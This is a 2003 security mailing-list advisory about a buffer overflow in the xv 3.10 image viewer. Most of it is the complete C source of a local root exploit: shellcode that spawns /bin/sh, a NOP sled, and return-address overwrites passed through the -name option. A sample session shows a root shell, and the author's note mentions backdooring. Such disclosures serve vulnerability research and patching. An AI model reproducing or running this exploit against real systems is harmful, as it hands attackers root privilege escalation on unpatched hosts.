[EXPL] xv Local Exploit (-name Variable)

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To: list@securiteam.com
Date: 13 Aug 2003 12:29:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  xv Local Exploit (-name Variable)
------------------------------------------------------------------------

SUMMARY

There exists a buffer overflow vulnerability in the picture viewing
program <http://www.trilon.com/xv/> xv. As far as it is known, version
3.10 is affected by the vulnerability. This is a proof of concept local
exploit tested on Slackware [kernel 2.4.20].

DETAILS

Exploit:
/*
  Linux x86 "xv" local exploit
  author: dodo <dodo@darkwired.org>
  tested on: Slackware Linux (2.4.20), `xv` 'version 3.10'
  date: 01-08-2003

  notes:
  could be used for backdooring purposes..
  greets to everyone @ #darkwired
  thanks to tsunami <tsunami@darkwired.org>

  root@comprak:/dodo/edu/xv$ chmod a+s /usr/X11/bin/xv
  dodo@comprak:/dodo/edu/xv$ ./dw-bof-xv
  sh-2.05b# id
  uid=0(root) gid=10(wheel) groups=10(wheel)

  usage:
  ./dw-bof-xv [offset]
  Slackware Linux offset: -200

  contact:
  http://www.darkwired.org/
  dodo@darkwired.org
  ssl-irc: irc.darkwired.org #darkwired
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BSIZE 256

  static char shellcode[]=
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
  "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
  "\x80\xe8\xe4\xff\xff\xff\x2f\x62"
  "\x69\x6e\x2f\x73\x68\x58";

unsigned long get_sp(void)
{
 __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
char buffer[BSIZE+64];
unsigned long sp = get_sp(), i;
signed long offset = -200;
  if(argc>1) offset = atoi(argv[1]);
  sp = sp - offset;

  //making our buffer
  memset(buffer, 0x90, sizeof(buffer)); //glijbaan
  memcpy(buffer+((BSIZE-strlen(shellcode))-16), (char *)&shellcode,
strlen(shellcode));
    for(
    i = BSIZE-8;
    (BSIZE-8)+16*sizeof(sp) > i; //putting some return addresses
    i+=sizeof(sp)) {
     *(long *)&buffer[i] = sp;
    }
  memset(buffer+sizeof(buffer), 0x0, 1);

if(setenv("DODO", buffer, 1)==-1) return -1;
system("xv -name $DODO");
return 1;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:dodo@darkwired.org> dodo.

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